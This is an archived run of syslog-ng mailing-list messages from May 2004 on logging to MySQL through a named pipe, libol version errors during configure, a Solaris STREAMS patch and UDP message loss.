Don't let data from the network near a shell. Bad things happen. -- Randall Schwartz From syslog-ng@lists.balabit.hu Mon May 10 15:30:59 2004 From: syslog-ng@lists.balabit.hu (Michael Earls) Date: Mon, 10 May 2004 10:30:59 -0400 Subject: [syslog-ng]How to log into mysql database - help required Message-ID: I would use if statement in cron to check to see if this is running if not running start it. ## Mysql insert run the check 0-55/1 * * * * root if [ -x /bin/bash ] && [ -r /etc/syslog-ng/mysql_pipe.sh ]; then /bin/bash /etc/syslog-ng/mysql_pipe.sh >> /var/log/syslog-ng/mysql_pipe.log 2>&1; fi Michael >>> gjg@sltnet.lk 5/10/2004 8:13:02 AM >>> I require to log syslogs into a mysql database. I used syslog-ng (downloaded the rpm for syslog-ng - ver 1.6 and libol from rpmseek.com and installed it) and used the information available in the site http://www.vermeer.org/display_doc.php?doc_id=1 for this purpose. As given in this website (1) First I made the pipe file using the following command # mkfifo /tmp/mysql.pipe (2) Then I used the following command to log into mysql (first tried with local logging) # mysql -u root --password=passwd syslog < /tmp/mysql.pipe This command gets stuck But when syslog-ng is stopped and started it logs and the contenets in /tmp/mysql.pipe gets loaded into the database table. The following commands were used to stop and start syslog-ng /etc/init.d/syslog-ng stop # Stop syslog-ng /etc/ini.d/syslog-ng start # Start syslog-ng (3) The site states about an initialization script like this one which needs to be started at start up. The script given is provided below. #!/bin/bash if [ -e /tmp/mysql.pipe ]; then while [ -e /tmp/mysql.pipe ] do mysql -u theuserid --password=thepassword syslogdb < /tmp/mysql.pipe done else mkfifo /tmp/mysql.pipe fi Where should I put this script and how to start it up at initialization? Could you explain the working pricipal of this script? From syslog-ng@lists.balabit.hu Mon May 10 15:45:13 2004 From: syslog-ng@lists.balabit.hu (Nilesh Naik) Date: Mon, 10 May 2004 07:45:13 -0700 (PDT) Subject: [syslog-ng]how to push sulogs/utmp/wtmp to central logserver Message-ID: <20040510144513.59783.qmail@web60904.mail.yahoo.com> Hello All is it possible to push sulogs/wtmp/utmp etc logfiles from the hosts running solaris 7/8/9, to the redhat linux box running syslog-ng ? if this is possible kindly guide me how can i configure the same and how to rotate the sulog/wtmp/utmp etc log files on solaris regards Prashant __________________________________ Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs http://hotjobs.sweepstakes.yahoo.com/careermakeover From syslog-ng@lists.balabit.hu Mon May 10 18:08:49 2004 From: syslog-ng@lists.balabit.hu (syslog-ng@lists.balabit.hu) Date: Mon, 10 May 2004 10:08:49 -0700 Subject: [syslog-ng]min options needed for logserver? Message-ID: <20040510170849.GA7796@spawar.navy.mil> To aid in understanding and minimize complexity I'd like to use the minimum options in syslog-ng.conf possible. Different examples I've seen use lots of different options so I'm not sure which ones are crucial. What is a good smallest set of vital options for a log server? Chris _______________________________________ Christian Seberino, Ph.D. SPAWAR Systems Center San Diego Code 2872 49258 Mills Street, Room 158 San Diego, CA 92152-5385 U.S.A. Phone: (619) 553-9973 Fax : (619) 553-6521 Email: seberino@spawar.navy.mil _______________________________________ From syslog-ng@lists.balabit.hu Mon May 10 19:20:12 2004 From: syslog-ng@lists.balabit.hu (Hamilton, Andrew) Date: Mon, 10 May 2004 14:20:12 -0400 Subject: [syslog-ng]min options needed for logserver? Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C436BB.6F37521A Content-Type: text/plain Unfortunately, optimizing it is really particular to your setup and what you are trying to do. You can use no options and take just defaults or you can have 15 different ones. It is difficult to tell what minimum you need without knowing how your system is configured and what you want it to do. A start might be just to use no options and work from there. Regards, Drew -----Original Message----- From: seberino@spawar.navy.mil [mailto:seberino@spawar.navy.mil] Sent: Monday, May 10, 2004 1:09 PM To: syslog-ng@lists.balabit.hu Subject: [syslog-ng]min options needed for logserver? To aid in understanding and minimize complexity I'd like to use the minimum options in syslog-ng.conf possible. Different examples I've seen use lots of different options so I'm not sure which ones are crucial. What is a good smallest set of vital options for a log server? Chris _______________________________________ Christian Seberino, Ph.D. SPAWAR Systems Center San Diego Code 2872 49258 Mills Street, Room 158 San Diego, CA 92152-5385 U.S.A. Phone: (619) 553-9973 Fax : (619) 553-6521 Email: seberino@spawar.navy.mil _______________________________________ _______________________________________________ syslog-ng maillist - syslog-ng@lists.balabit.hu https://lists.balabit.hu/mailman/listinfo/syslog-ng Frequently asked questions at http://www.campin.net/syslog-ng/faq.html ------_=_NextPart_001_01C436BB.6F37521A Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: [syslog-ng]min options needed for logserver?

Unfortunately, optimizing it is really particular to = your setup and what you are trying to do.  You can use no options = and take just defaults or you can have 15 different ones.  It is = difficult to tell what minimum you need without knowing how your system = is configured and what you want it to do.  A start might be just = to use no options and work from there.

Regards,

Drew

-----Original Message-----
From: seberino@spawar.navy.mil [mailto:seberino@spawar.navy.mil= ]
Sent: Monday, May 10, 2004 1:09 PM
To: syslog-ng@lists.balabit.hu
Subject: [syslog-ng]min options needed for = logserver?


To aid in understanding and minimize = complexity
I'd like to use the minimum options in = syslog-ng.conf
possible.  Different examples I've seen use = lots of
different options so I'm not sure which ones are = crucial.

What is a good smallest set of vital options for a = log
server?

Chris

_______________________________________

Christian Seberino, Ph.D.
SPAWAR Systems Center San Diego
Code 2872
49258 Mills Street, Room 158
San Diego, CA 92152-5385
U.S.A.

Phone: (619) 553-9973
Fax  : (619) 553-6521
Email: seberino@spawar.navy.mil
_______________________________________
_______________________________________________
syslog-ng maillist  -  = syslog-ng@lists.balabit.hu
https://lists.balabit.hu/mailman/listinfo/syslog-ng
Frequently asked questions at
http://www.campin.net/syslog-ng/faq.html

------_=_NextPart_001_01C436BB.6F37521A-- From syslog-ng@lists.balabit.hu Thu May 13 08:35:21 2004 From: syslog-ng@lists.balabit.hu (Dmitri Smirnov) Date: Thu, 13 May 2004 00:35:21 -0700 Subject: [syslog-ng]Problem with 1.6.3 on Solaris. Message Message-ID: <77F055FA968580429F4546414D8C10E7021C811B@s102b.rhcci.net> Looks like version 1.6.3 is not working well on Solaris 8.=20 Few minutes after the start it generates hundreds of messages like: syslog.err syslog-ng[27013]: do_stream_read: STREAMS device gave too long line I think it is the result of changes related to HP-UX and pad_size (from 10k to 256 bytes ?) Another problem with syslog-ng in general (1.6.1 or later) - we're started to lose about 10% of syslog messages. The config file is not too big and messages do arrive on server for sure (confirmed with snoop) but every few minutes=20 syslog-ng is losing some of them. Any recommendation on tuning or troubleshooting? Dmitri From syslog-ng@lists.balabit.hu Thu May 13 09:33:49 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Thu, 13 May 2004 10:33:49 +0200 Subject: [syslog-ng]Problem with 1.6.3 on Solaris. Message In-Reply-To: <77F055FA968580429F4546414D8C10E7021C811B@s102b.rhcci.net> References: <77F055FA968580429F4546414D8C10E7021C811B@s102b.rhcci.net> Message-ID: <1084437229.1160.9.camel@bzorp.balabit> 2004-05-13, cs keltezéssel 09:35-kor Dmitri Smirnov ezt írta: > Looks like version 1.6.3 is not working well on Solaris 8. > > Few minutes after the start it generates hundreds of messages like: > syslog.err syslog-ng[27013]: do_stream_read: STREAMS device gave too > long line > > I think it is the result of changes related to HP-UX and pad_size (from > 10k to 256 bytes ?) Hmm.. no it should be caused by some IRIX related patches I applied to 1.6.3. I'll figure this out. Thanks for the report. > > Another problem with syslog-ng in general (1.6.1 or later) - we're > started to lose about 10% of syslog messages. > The config file is not too big and messages do arrive on server for sure > (confirmed with snoop) but every few minutes > syslog-ng is losing some of them. Any recommendation on tuning or > troubleshooting? if the packet arrives to the log host but syslog-ng does not receive it (e.g. your STATS line shows 0 dropped messages), it is possible that the UDP receive buffer is too small. try increasing the UDP receive buffer, it should be possible with some OS dependant tools (ndd comes to mind on Solaris) -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Thu May 13 12:32:09 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Thu, 13 May 2004 13:32:09 +0200 Subject: [syslog-ng]Problem with 1.6.3 on Solaris. Message In-Reply-To: <1084437229.1160.9.camel@bzorp.balabit> References: <77F055FA968580429F4546414D8C10E7021C811B@s102b.rhcci.net> <1084437229.1160.9.camel@bzorp.balabit> Message-ID: <1084447928.1723.10.camel@bzorp.balabit> 2004-05-13, cs keltezéssel 10:33-kor Balazs Scheidler ezt írta: > 2004-05-13, cs keltezéssel 09:35-kor Dmitri Smirnov ezt írta: > > Looks like version 1.6.3 is not working well on Solaris 8. > > > > Few minutes after the start it generates hundreds of messages like: > > syslog.err syslog-ng[27013]: do_stream_read: STREAMS device gave too > > long line > > > > I think it is the result of changes related to HP-UX and pad_size (from > > 10k to 256 bytes ?) > > Hmm.. no it should be caused by some IRIX related patches I applied to > 1.6.3. I'll figure this out. Thanks for the report. Can you test if this patch fixes it? For me it seems to work. diff -u -r1.16.4.1 afstreams.c --- src/afstreams.c 10 Mar 2004 18:43:28 -0000 1.16.4.1 +++ src/afstreams.c 13 May 2004 11:31:10 -0000 @@ -175,6 +175,7 @@ struct nonblocking_fd *io_stream_get(struct io_backend *backend, int fd, UINT8 *hostname_re, + UINT32 max_log_line, struct log_handler *pipe) { NEW(stream_fd, f); @@ -184,6 +185,7 @@ f->super.read = stream_read_callback; f->super.want_read = 1; f->pipe = pipe; + f->max_log_line = max_log_line; if (hostname_re == NULL) regcomp(&f->bad_hostname, "^$", REG_NOSUB | REG_EXTENDED); else @@ -239,7 +241,7 @@ close(fd); return ST_FAIL | ST_QUIT; } - self->stream_fd = io_stream_get(cfg->backend, fd, cfg->bad_hostname, c); + self->stream_fd = io_stream_get(cfg->backend, fd, cfg->bad_hostname, cfg->log_msg_size, c); REMEMBER_RESOURCE(cfg->resources, &self->stream_fd->super); -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Thu May 13 15:28:56 2004 From: syslog-ng@lists.balabit.hu (Keg) Date: Thu, 13 May 2004 07:28:56 -0700 Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat Message-ID: <40A38628.3010202@zulu420.com> syslog-ng needs the libol library, which I compiled and installed to it's default location, /usr/local/lib. When configuring syslog-ng I get this error: checking for strptime... yes checking for TCP wrapper library... -lwrap checking whether to enable Sun STREAMS support... no checking whether to enable Sun door support... no checking whether to enable TCP wrapper support... no checking whether to enable spoof_source support... no checking libol version >= 0.3.13... no configure: error: Required libol version not found Here is the library: syslog:/usr/local/lib #ls -la total 124 drwxr-xr-x 2 root root 4096 May 13 06:45 . drwxr-xr-x 23 root root 4096 Jan 10 10:55 .. -rw-r--r-- 1 root root 51408 May 13 06:45 libol.a -rwxr-xr-x 1 root root 698 May 13 06:45 libol.la lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so -> libol.so.0.0.0 lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so.0 -> libol.so.0.0.0 -rwxr-xr-x 1 root root 50799 May 13 06:45 libol.so.0.0.0 I added /usr/local/lib to /etc/ld.so.conf and ran ldconfig. (even rebooted as well) This did not work. I added /usr/local/lib to LD_LIBRARY_PATH, this did not work. I tried configuring with --with-libol=/usr/local and got same error. I tried configuring with --with-libol=/usr/local/lib and got same error. I tried configuring with --with-libol=/usr/local, however, this time I get this error: checking for TCP wrapper library... -lwrap checking whether to enable Sun STREAMS support... no checking whether to enable Sun door support... no checking whether to enable TCP wrapper support... no checking whether to enable spoof_source support... no checking libol version >= 0.3.13... configure: error: libol-config not found in the specified location libol-config is in /usr/local/bin: syslog:/usr/local/src/Syslog-Ng/syslog-ng-1.6.3 #ls -l /usr/local/bin/ -rwxr-xr-x 1 root root 1298 May 13 06:45 libol-config I have followed every doc as instructed. This is a vanilla RH 9 system with all updates. Thx for any help. cc From syslog-ng@lists.balabit.hu Thu May 13 16:10:31 2004 From: syslog-ng@lists.balabit.hu (michihito matsubara) Date: Fri, 14 May 2004 00:10:31 +0900 Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat In-Reply-To: <40A38628.3010202@zulu420.com> References: <40A38628.3010202@zulu420.com> Message-ID: <20040514000753.3C25.XC7M-MTBR@asahi-net.or.jp> Hi Keg, run /sbin/ldconfig after adding /usr/local/lib into your /etc/ld.so.conf. then, run configure again without --with-libol option. how'bout it? HTH mitch On Thu, 13 May 2004 07:28:56 -0700 Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat Keg wrote: > syslog-ng needs the libol library, which I compiled and installed to > it's default location, /usr/local/lib. > > When configuring syslog-ng I get this error: > > checking for strptime... yes > checking for TCP wrapper library... -lwrap > checking whether to enable Sun STREAMS support... no > checking whether to enable Sun door support... no > checking whether to enable TCP wrapper support... no > checking whether to enable spoof_source support... no > checking libol version >= 0.3.13... no > configure: error: Required libol version not found > > Here is the library: > syslog:/usr/local/lib #ls -la > total 124 > drwxr-xr-x 2 root root 4096 May 13 06:45 . > drwxr-xr-x 23 root root 4096 Jan 10 10:55 .. > -rw-r--r-- 1 root root 51408 May 13 06:45 libol.a > -rwxr-xr-x 1 root root 698 May 13 06:45 libol.la > lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so -> > libol.so.0.0.0 > lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so.0 -> > libol.so.0.0.0 > -rwxr-xr-x 1 root root 50799 May 13 06:45 libol.so.0.0.0 > > > I added /usr/local/lib to /etc/ld.so.conf and ran ldconfig. (even > rebooted as well) This did not work. > I added /usr/local/lib to LD_LIBRARY_PATH, this did not work. > I tried configuring with --with-libol=/usr/local and got same error. > I tried configuring with --with-libol=/usr/local/lib and got same error. > I tried configuring with --with-libol=/usr/local, however, this time I > get this error: > > checking for TCP wrapper library... -lwrap > checking whether to enable Sun STREAMS support... no > checking whether to enable Sun door support... no > checking whether to enable TCP wrapper support... no > checking whether to enable spoof_source support... no > checking libol version >= 0.3.13... configure: error: libol-config not > found in the specified location > > libol-config is in /usr/local/bin: > syslog:/usr/local/src/Syslog-Ng/syslog-ng-1.6.3 #ls -l /usr/local/bin/ > -rwxr-xr-x 1 root root 1298 May 13 06:45 libol-config > > I have followed every doc as instructed. This is a vanilla RH 9 system > with all updates. > > Thx for any help. > cc > > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at http://www.campin.net/syslog-ng/faq.html -- Musashino-shi, Tokyo, Japan K12LTSP in Japanese ; http://open-mitch.dyndns.org/k12ltsp/ From syslog-ng@lists.balabit.hu Thu May 13 16:22:05 2004 From: syslog-ng@lists.balabit.hu (Keg) Date: Thu, 13 May 2004 08:22:05 -0700 Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat In-Reply-To: <20040514000753.3C25.XC7M-MTBR@asahi-net.or.jp> References: <40A38628.3010202@zulu420.com> <20040514000753.3C25.XC7M-MTBR@asahi-net.or.jp> Message-ID: <40A3929D.8000900@zulu420.com> Yea, tried that. I tried just about every permutation of configure options, LD_LIBRARY_PATH settings, etc... ???? -Chuck michihito matsubara wrote: > Hi Keg, > > run /sbin/ldconfig after adding /usr/local/lib into your /etc/ld.so.conf. > > then, run configure again without --with-libol option. > > how'bout it? > > > HTH > mitch > > > On Thu, 13 May 2004 07:28:56 -0700 > Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat > Keg wrote: > > > >>syslog-ng needs the libol library, which I compiled and installed to >>it's default location, /usr/local/lib. >> >>When configuring syslog-ng I get this error: >> >>checking for strptime... yes >>checking for TCP wrapper library... -lwrap >>checking whether to enable Sun STREAMS support... no >>checking whether to enable Sun door support... no >>checking whether to enable TCP wrapper support... no >>checking whether to enable spoof_source support... no >>checking libol version >= 0.3.13... no >>configure: error: Required libol version not found >> >>Here is the library: >>syslog:/usr/local/lib #ls -la >>total 124 >>drwxr-xr-x 2 root root 4096 May 13 06:45 . >>drwxr-xr-x 23 root root 4096 Jan 10 10:55 .. >>-rw-r--r-- 1 root root 51408 May 13 06:45 libol.a >>-rwxr-xr-x 1 root root 698 May 13 06:45 libol.la >>lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so -> >>libol.so.0.0.0 >>lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so.0 -> >>libol.so.0.0.0 >>-rwxr-xr-x 1 root root 50799 May 13 06:45 libol.so.0.0.0 >> >> >>I added /usr/local/lib to /etc/ld.so.conf and ran ldconfig. (even >>rebooted as well) This did not work. >>I added /usr/local/lib to LD_LIBRARY_PATH, this did not work. >>I tried configuring with --with-libol=/usr/local and got same error. >>I tried configuring with --with-libol=/usr/local/lib and got same error. >>I tried configuring with --with-libol=/usr/local, however, this time I >>get this error: >> >>checking for TCP wrapper library... -lwrap >>checking whether to enable Sun STREAMS support... no >>checking whether to enable Sun door support... no >>checking whether to enable TCP wrapper support... no >>checking whether to enable spoof_source support... no >>checking libol version >= 0.3.13... configure: error: libol-config not >>found in the specified location >> >>libol-config is in /usr/local/bin: >>syslog:/usr/local/src/Syslog-Ng/syslog-ng-1.6.3 #ls -l /usr/local/bin/ >>-rwxr-xr-x 1 root root 1298 May 13 06:45 libol-config >> >>I have followed every doc as instructed. This is a vanilla RH 9 system >>with all updates. >> >>Thx for any help. >>cc >> >>_______________________________________________ >>syslog-ng maillist - syslog-ng@lists.balabit.hu >>https://lists.balabit.hu/mailman/listinfo/syslog-ng >>Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > > From syslog-ng@lists.balabit.hu Thu May 13 16:28:35 2004 From: syslog-ng@lists.balabit.hu (Keg) Date: Thu, 13 May 2004 08:28:35 -0700 Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat In-Reply-To: <20040514000753.3C25.XC7M-MTBR@asahi-net.or.jp> References: <40A38628.3010202@zulu420.com> <20040514000753.3C25.XC7M-MTBR@asahi-net.or.jp> Message-ID: <40A39423.4020401@zulu420.com> I just realized it is looking for libol > 0.3.13, but the latest on the site is 0.3.9 which it says to use with syslog-ng 1.6.3. Where can I get this newer version of libol???? ?? michihito matsubara wrote: > Hi Keg, > > run /sbin/ldconfig after adding /usr/local/lib into your /etc/ld.so.conf. > > then, run configure again without --with-libol option. > > how'bout it? > > > HTH > mitch > > > On Thu, 13 May 2004 07:28:56 -0700 > Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat > Keg wrote: > > > >>syslog-ng needs the libol library, which I compiled and installed to >>it's default location, /usr/local/lib. >> >>When configuring syslog-ng I get this error: >> >>checking for strptime... yes >>checking for TCP wrapper library... -lwrap >>checking whether to enable Sun STREAMS support... no >>checking whether to enable Sun door support... no >>checking whether to enable TCP wrapper support... no >>checking whether to enable spoof_source support... no >>checking libol version >= 0.3.13... no >>configure: error: Required libol version not found >> >>Here is the library: >>syslog:/usr/local/lib #ls -la >>total 124 >>drwxr-xr-x 2 root root 4096 May 13 06:45 . >>drwxr-xr-x 23 root root 4096 Jan 10 10:55 .. >>-rw-r--r-- 1 root root 51408 May 13 06:45 libol.a >>-rwxr-xr-x 1 root root 698 May 13 06:45 libol.la >>lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so -> >>libol.so.0.0.0 >>lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so.0 -> >>libol.so.0.0.0 >>-rwxr-xr-x 1 root root 50799 May 13 06:45 libol.so.0.0.0 >> >> >>I added /usr/local/lib to /etc/ld.so.conf and ran ldconfig. (even >>rebooted as well) This did not work. >>I added /usr/local/lib to LD_LIBRARY_PATH, this did not work. >>I tried configuring with --with-libol=/usr/local and got same error. >>I tried configuring with --with-libol=/usr/local/lib and got same error. >>I tried configuring with --with-libol=/usr/local, however, this time I >>get this error: >> >>checking for TCP wrapper library... -lwrap >>checking whether to enable Sun STREAMS support... no >>checking whether to enable Sun door support... no >>checking whether to enable TCP wrapper support... no >>checking whether to enable spoof_source support... no >>checking libol version >= 0.3.13... configure: error: libol-config not >>found in the specified location >> >>libol-config is in /usr/local/bin: >>syslog:/usr/local/src/Syslog-Ng/syslog-ng-1.6.3 #ls -l /usr/local/bin/ >>-rwxr-xr-x 1 root root 1298 May 13 06:45 libol-config >> >>I have followed every doc as instructed. This is a vanilla RH 9 system >>with all updates. >> >>Thx for any help. >>cc >> >>_______________________________________________ >>syslog-ng maillist - syslog-ng@lists.balabit.hu >>https://lists.balabit.hu/mailman/listinfo/syslog-ng >>Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > > From syslog-ng@lists.balabit.hu Thu May 13 16:31:55 2004 From: syslog-ng@lists.balabit.hu (Chaitanya) Date: Thu, 13 May 2004 08:31:55 -0700 Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat In-Reply-To: <40A38628.3010202@zulu420.com> Message-ID: Keg, Try to Compile.install.configure libol 0.2.23.tar.gz There is a compatibility issue here. I faced the same and fixed it by installing this version of libol. Later, Chaitanya -----Original Message----- From: syslog-ng-admin@lists.balabit.hu [mailto:syslog-ng-admin@lists.balabit.hu] On Behalf Of Keg Sent: Thursday, May 13, 2004 7:29 AM To: syslog-ng@lists.balabit.hu Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat syslog-ng needs the libol library, which I compiled and installed to it's default location, /usr/local/lib. When configuring syslog-ng I get this error: checking for strptime... yes checking for TCP wrapper library... -lwrap checking whether to enable Sun STREAMS support... no checking whether to enable Sun door support... no checking whether to enable TCP wrapper support... no checking whether to enable spoof_source support... no checking libol version >= 0.3.13... no configure: error: Required libol version not found Here is the library: syslog:/usr/local/lib #ls -la total 124 drwxr-xr-x 2 root root 4096 May 13 06:45 . drwxr-xr-x 23 root root 4096 Jan 10 10:55 .. -rw-r--r-- 1 root root 51408 May 13 06:45 libol.a -rwxr-xr-x 1 root root 698 May 13 06:45 libol.la lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so -> libol.so.0.0.0 lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so.0 -> libol.so.0.0.0 -rwxr-xr-x 1 root root 50799 May 13 06:45 libol.so.0.0.0 I added /usr/local/lib to /etc/ld.so.conf and ran ldconfig. (even rebooted as well) This did not work. I added /usr/local/lib to LD_LIBRARY_PATH, this did not work. I tried configuring with --with-libol=/usr/local and got same error. I tried configuring with --with-libol=/usr/local/lib and got same error. I tried configuring with --with-libol=/usr/local, however, this time I get this error: checking for TCP wrapper library... -lwrap checking whether to enable Sun STREAMS support... no checking whether to enable Sun door support... no checking whether to enable TCP wrapper support... no checking whether to enable spoof_source support... no checking libol version >= 0.3.13... configure: error: libol-config not found in the specified location libol-config is in /usr/local/bin: syslog:/usr/local/src/Syslog-Ng/syslog-ng-1.6.3 #ls -l /usr/local/bin/ -rwxr-xr-x 1 root root 1298 May 13 06:45 libol-config I have followed every doc as instructed. This is a vanilla RH 9 system with all updates. Thx for any help. cc _______________________________________________ syslog-ng maillist - syslog-ng@lists.balabit.hu https://lists.balabit.hu/mailman/listinfo/syslog-ng Frequently asked questions at http://www.campin.net/syslog-ng/faq.html From syslog-ng@lists.balabit.hu Thu May 13 17:40:53 2004 From: syslog-ng@lists.balabit.hu (Dmitri Smirnov) Date: Thu, 13 May 2004 09:40:53 -0700 Subject: [syslog-ng]Problem with 1.6.3 on Solaris. Message Message-ID: <77F055FA968580429F4546414D8C10E7021C8121@s102b.rhcci.net> Thank you, The patch fixed the problem with an error message about STREAMS. Dmitri=20 -----Original Message----- From: Balazs Scheidler [mailto:bazsi@balabit.hu]=20 Sent: Thursday, May 13, 2004 4:32 AM To: syslog-ng@lists.balabit.hu Subject: Re: [syslog-ng]Problem with 1.6.3 on Solaris. Message Can you test if this patch fixes it? For me it seems to work. diff -u -r1.16.4.1 afstreams.c --- src/afstreams.c 10 Mar 2004 18:43:28 -0000 1.16.4.1 +++ src/afstreams.c 13 May 2004 11:31:10 -0000 @@ -175,6 +175,7 @@ struct nonblocking_fd *io_stream_get(struct io_backend *backend, int fd, UINT8 *hostname_re, + UINT32 max_log_line, struct log_handler *pipe) { NEW(stream_fd, f); @@ -184,6 +185,7 @@ f->super.read =3D stream_read_callback; f->super.want_read =3D 1; f->pipe =3D pipe; + f->max_log_line =3D max_log_line; if (hostname_re =3D=3D NULL) regcomp(&f->bad_hostname, "^$", REG_NOSUB | REG_EXTENDED); else @@ -239,7 +241,7 @@ close(fd); return ST_FAIL | ST_QUIT; } - self->stream_fd =3D io_stream_get(cfg->backend, fd, cfg->bad_hostname, c); + self->stream_fd =3D io_stream_get(cfg->backend, fd,=20 + cfg->bad_hostname, cfg->log_msg_size, c); =20 REMEMBER_RESOURCE(cfg->resources, &self->stream_fd->super); =20 -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Thu May 13 19:12:54 2004 From: syslog-ng@lists.balabit.hu (Dmitri Smirnov) Date: Thu, 13 May 2004 11:12:54 -0700 Subject: [syslog-ng]Problem with 1.6.3 on Solaris. Message Message-ID: <77F055FA968580429F4546414D8C10E70142ED96@s102b.rhcci.net> Tried to increase UDP udp_max_buf to 524288 (from 262144) - doesn't help. STATS reports 0 lost messages... ;( Plus 1.6.3 hangs for me after 200-300 messages (3-5 minutes)... 1.6.1 doesn't hang but losing messages :( Dmitri -----Original Message----- >=20 > Another problem with syslog-ng in general (1.6.1 or later) - we're=20 > started to lose about 10% of syslog messages. > The config file is not too big and messages do arrive on server for=20 > sure (confirmed with snoop) but every few minutes syslog-ng is losing=20 > some of them. Any recommendation on tuning or troubleshooting? if the packet arrives to the log host but syslog-ng does not receive it (e.g. your STATS line shows 0 dropped messages), it is possible that the UDP receive buffer is too small. try increasing the UDP receive buffer, it should be possible with some OS dependant tools (ndd comes to mind on Solaris) From syslog-ng@lists.balabit.hu Thu May 13 19:33:44 2004 From: syslog-ng@lists.balabit.hu (michihito matsubara) Date: Fri, 14 May 2004 03:33:44 +0900 Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat In-Reply-To: <40A39423.4020401@zulu420.com> References: <20040514000753.3C25.XC7M-MTBR@asahi-net.or.jp> <40A39423.4020401@zulu420.com> Message-ID: <20040514031735.8EBF.XC7M-MTBR@asahi-net.or.jp> Keg, a couple of months i've been using snapshot, though. enveryday fetch and build package with my own spec files. running on several Linux and/or BSD box, such as RH7.0, 7.3, 8.0, 9, fedora, FreeBSD RELENGE4, and scratch Linux built by me, and so on. today, running libol-0.3.13+20040513, syslog-ng-1.7.0+20040513. look very stable for me. if you have insterest them, you can get it from below. http://www.balabit.com/downloads/syslog-ng/1.6/src-snapshot/ BUT, again, they are SNAPSHOT. stable for me but maybe not for you, i dont know sorry. regards, mitch On Thu, 13 May 2004 08:28:35 -0700 Subject: Re: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat Keg wrote: > > I just realized it is looking for libol > 0.3.13, but the latest on the > site is 0.3.9 which it says to use with syslog-ng 1.6.3. > > Where can I get this newer version of libol???? > ?? > > michihito matsubara wrote: > > > Hi Keg, > > > > run /sbin/ldconfig after adding /usr/local/lib into your /etc/ld.so.conf. > > > > then, run configure again without --with-libol option. > > > > how'bout it? > > > > > > HTH > > mitch > > > > > > On Thu, 13 May 2004 07:28:56 -0700 > > Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat > > Keg wrote: > > > > > > > >>syslog-ng needs the libol library, which I compiled and installed to > >>it's default location, /usr/local/lib. > >> > >>When configuring syslog-ng I get this error: > >> > >>checking for strptime... yes > >>checking for TCP wrapper library... -lwrap > >>checking whether to enable Sun STREAMS support... no > >>checking whether to enable Sun door support... no > >>checking whether to enable TCP wrapper support... no > >>checking whether to enable spoof_source support... no > >>checking libol version >= 0.3.13... no > >>configure: error: Required libol version not found > >> > >>Here is the library: > >>syslog:/usr/local/lib #ls -la > >>total 124 > >>drwxr-xr-x 2 root root 4096 May 13 06:45 . > >>drwxr-xr-x 23 root root 4096 Jan 10 10:55 .. > >>-rw-r--r-- 1 root root 51408 May 13 06:45 libol.a > >>-rwxr-xr-x 1 root root 698 May 13 06:45 libol.la > >>lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so -> > >>libol.so.0.0.0 > >>lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so.0 -> > >>libol.so.0.0.0 > >>-rwxr-xr-x 1 root root 50799 May 13 06:45 libol.so.0.0.0 > >> > >> > >>I added /usr/local/lib to /etc/ld.so.conf and ran ldconfig. (even > >>rebooted as well) This did not work. > >>I added /usr/local/lib to LD_LIBRARY_PATH, this did not work. > >>I tried configuring with --with-libol=/usr/local and got same error. > >>I tried configuring with --with-libol=/usr/local/lib and got same error. > >>I tried configuring with --with-libol=/usr/local, however, this time I > >>get this error: > >> > >>checking for TCP wrapper library... -lwrap > >>checking whether to enable Sun STREAMS support... no > >>checking whether to enable Sun door support... no > >>checking whether to enable TCP wrapper support... no > >>checking whether to enable spoof_source support... no > >>checking libol version >= 0.3.13... configure: error: libol-config not > >>found in the specified location > >> > >>libol-config is in /usr/local/bin: > >>syslog:/usr/local/src/Syslog-Ng/syslog-ng-1.6.3 #ls -l /usr/local/bin/ > >>-rwxr-xr-x 1 root root 1298 May 13 06:45 libol-config > >> > >>I have followed every doc as instructed. This is a vanilla RH 9 system > >>with all updates. > >> > >>Thx for any help. > >>cc > >> > >>_______________________________________________ > >>syslog-ng maillist - syslog-ng@lists.balabit.hu > >>https://lists.balabit.hu/mailman/listinfo/syslog-ng > >>Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > > > > > > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at 